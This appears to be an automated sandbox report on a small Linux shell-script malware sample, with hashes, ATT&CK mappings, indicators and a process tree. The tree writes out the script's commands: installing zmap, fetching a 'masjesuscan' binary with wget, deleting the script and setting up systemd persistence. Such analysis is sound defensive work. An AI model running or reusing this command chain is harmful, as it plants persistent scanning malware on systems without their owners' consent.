680d3805bd1d4dae4ba0d9b07029b114febd2819e3eaf46ff030994b25b225d5

Analysis

max time kernel
38s
max time network
6s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
06/11/2024, 02:48

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General

Target
680d3805bd1d4dae4ba0d9b07029b114febd2819e3eaf46ff030994b25b225d5.sh
Size 500B
Sample241106-dajqhatgll
SHA256 680d3805bd1d4dae4ba0d9b07029b114febd2819e3eaf46ff030994b25b225d5
MD5 c66fb280aafa015fa6190cebc3662794
SHA1 517a8951ff5513999d8cc5e1c7d8925822855043
SHA512 62a24b84e131484ca7f12a78d89c868618196740ba3c77a68739b94c23e01cad011b60c2db6cbacab2a52eb1c0f0661e8f0519677db9cdb87fc352baa41febbe
MD5 SHA1 SHA512

Score

7^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
747	chmod

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

persistence privilege_escalation

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/scan.service	680d3805bd1d4dae4ba0d9b07029b114febd2819e3eaf46ff030994b25b225d5.sh

Enumerates kernel/hardware configuration 1 TTPs 3 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 21 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/sys/kernel/ngroups_max	apt-get
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/sys/crypto/fips_enabled	https
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/self/fd	apt-get
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/self/fd	apt-get
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/filesystems	dpkg

Writes file to tmp directory 11 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/fileutl.message.zfRunN	apt-get
File opened for modification	/tmp/fileutl.message.Bl9huh	apt-get
File opened for modification	/tmp/fileutl.message.gJ97hC	apt-get
File opened for modification	/tmp/fileutl.message.c8WGIF	apt-get
File opened for modification	/tmp/fileutl.message.DpZXWb	apt-get
File opened for modification	/tmp/fileutl.message.mThfaz	apt-get
File opened for modification	/tmp/fileutl.message.1yf2S0	apt-get
File opened for modification	/tmp/fileutl.message.WeJxRt	apt-get
File opened for modification	/tmp/fileutl.message.ziS3Yj	apt-get
File opened for modification	/tmp/fileutl.message.Vdyxlr	apt-get
File opened for modification	/tmp/fileutl.message.1IuCeF	apt-get

Software Deployment Tools 1 TTPs 2 IoCs

Use software deployment tools to execute code.

execution

Software Deployment Tools

T1072

pid	Process
705	apt-get
743	apt-get

/tmp/680d3805bd1d4dae4ba0d9b07029b114febd2819e3eaf46ff030994b25b225d5.sh
/tmp/680d3805bd1d4dae4ba0d9b07029b114febd2819e3eaf46ff030994b25b225d5.sh
1⤵
- Modifies systemd
PID:702
- /usr/bin/apt-get
  apt-get update
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  - Software Deployment Tools
  PID:705
- - /usr/bin/dpkg
    /usr/bin/dpkg --print-foreign-architectures
    3⤵
    - Reads runtime system information
    PID:711
- - /usr/lib/apt/methods/http
    /usr/lib/apt/methods/http
    3⤵
    PID:722
- - /usr/lib/apt/methods/https
    /usr/lib/apt/methods/https
    3⤵
    PID:725
- - /usr/lib/apt/methods/https
    /usr/lib/apt/methods/https
    3⤵
    - Reads runtime system information
    PID:729
- - /usr/lib/apt/methods/http
    /usr/lib/apt/methods/http
    3⤵
    PID:733
- - /usr/bin/dpkg
    /usr/bin/dpkg --print-foreign-architectures
    3⤵
    - Reads runtime system information
    PID:736
- - /usr/bin/dpkg
    /usr/bin/dpkg --print-foreign-architectures
    3⤵
    - Reads runtime system information
    PID:742
- /usr/bin/apt-get
  apt-get install -y zmap
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  - Software Deployment Tools
  PID:743
- - /usr/bin/dpkg
    /usr/bin/dpkg --print-foreign-architectures
    3⤵
    - Reads runtime system information
    PID:744
- /bin/mkdir
  mkdir -p /etc/sweet
  2⤵
  - Reads runtime system information
  PID:745
- /usr/bin/wget
  wget http://localhost/masjesuscan -O /etc/sweet/masjesuscan
  2⤵
  PID:746
- /bin/chmod
  chmod +x /etc/sweet/masjesuscan
  2⤵
  - File and Directory Permissions Modification
  PID:747
- /bin/cat
  cat
  2⤵
  PID:748
- /bin/rm
  rm scan.sh
  2⤵
  PID:749
- /bin/systemctl
  systemctl daemon-reload
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:750
- /bin/systemctl
  systemctl enable scan.service
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:751
- /bin/systemctl
  systemctl start scan.service
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:752

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Software Deployment Tools

T1072

Persistence

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Privilege Escalation

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Software Deployment Tools

T1072

Collection

Command and Control

Exfiltration

Impact

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Downloads

scan.service

Path /etc/systemd/system/scan.service
Size 192B
SHA256 0e0f88c57ead88425c69f343519ee84d650662c7503d230306d88904a753908e
MD5 0f6e20a1150b1aa28e22ccefb899e3b5
SHA1 f491dc05e7b96967249154666bc17973b99e1a78
SHA512 51d622b5f780bf52c9f1c0fa732fc5fff9c8a826e7a6bdffd8003887658a37beb4c69d37463c4eb7b7efdc09b6ffc294d30497ff88d4965f5c80b97674f710f5
MD5 SHA1 SHA512

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pkgcache.bin.0sBcKf

Path /var/cache/apt/pkgcache.bin.0sBcKf
Size 248B
SHA256 dde6c2c03d2ca0235b494c37d72e62fe4e144703dac513a6982230272e900838
MD5 ef153a658fa089373ef42f012b8de404
SHA1 6ad2abe6d61f6fb1d2b061eb32b921c05239a69d
SHA512 08716d74f4eec68e22d08a4bd9760356b0b8cba24b85c7956ac1ee8434344c6a2538982618bc604b8aba07a91f3b93016dc8a7233b5cc0cf69bccb17edcd768b
MD5 SHA1 SHA512

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srcpkgcache.bin.EJd53Y

Path /var/cache/apt/srcpkgcache.bin.EJd53Y
Size 24.3MB
SHA256 d8ac455bfab80fc1fc02b73f5af8e7aec331414414c2e6c0a0401675b174067c
MD5 f2b0e6822c08ba10387ac0708bac11f4
SHA1 6d4c236eae6606bfd72dd9ba0565a100a6c6fa7d
SHA512 d579c6831ee5363ac88d770e54ff0d3db12ab60108d977245ce287d004efe08797b28916881c616c8216a40d10e8c1ae450148b930a5f73a1545e5609a91d73d
SSDEEP 196608:Bc4nXl6JXEBathkGWWzzGJ3yIDkLnijN/jV8M1:Bc4ncJXEBatGGWWziJ3lDkLniB/jz
MD5 SHA1 SHA512 SSDEEP

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads